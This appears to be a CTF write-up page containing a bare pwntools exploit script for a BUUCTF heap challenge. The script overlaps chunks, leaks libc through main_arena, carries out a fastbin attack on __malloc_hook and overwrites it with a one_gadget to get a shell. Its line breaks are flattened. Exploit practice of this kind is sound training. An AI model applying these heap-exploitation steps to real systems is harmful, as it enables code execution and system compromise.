1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| from pwn import *
r=remote('node5.buuoj.cn',28118)
libc=ELF('./libc-2.23.so') context.log_level="debug"
def add(size): r.recvuntil('choice: ') r.sendline('1') r.recvuntil('size:') r.sendline(str(size))
def edit(index,size,data): r.recvuntil('choice: ') r.sendline('2') r.recvuntil('index:') r.sendline(str(index)) r.recvuntil('size:') r.sendline(str(size)) r.recvuntil('content:') r.send(data) def free(index): r.recvuntil('choice: ') r.sendline('3') r.recvuntil('index:') r.sendline(str(index)) def show(index): r.recvuntil('choice: ') r.sendline('4') r.recvuntil('index:') r.sendline(str(index))
add(0x18) add(0x10) add(0x90) add(0x10)
edit(0,0x22,b'b'*0x10+p64(0x20)+p8(0xa1))
edit(2,0x80,p64(0)*14+p64(0xa0)+p64(0x21))
free(1) add(0x90)
edit(1,0x20,p64(0)*3+p64(0xa1)) free(2) show(1) r.recvuntil('content:') r.recv(0x20) main_arena=u64(r.recvuntil('\x7f').strip()[-6:].ljust(8,b'\x00'))-88 malloc_hook=main_arena-0x10 base=malloc_hook-libc.sym['__malloc_hook'] realloc_hook=base+libc.sym['__realloc_hook'] add(0x80) print(hex(main_arena)) payload=p64(0)*3+p64(0x71)+p64(0)*12+p64(0x70)+p64(0x21) edit(1,0x90,payload) free(2)
payload=p64(0)*3+p64(0x71)+p64(malloc_hook-0x23) edit(1,0x28,payload) add(0x60)
add(0x60)
one=[0x45216,0x4526a,0xf02a4,0xf1147] one_gadget=base+one[3] edit(4,0x1b,b'a'*11+p64(one_gadget)+p64(realloc_hook+4))
sleep(1) add(0x10)
r.interactive()
|
评论区
欢迎你留下宝贵的意见,昵称输入QQ号会显示QQ头像哦~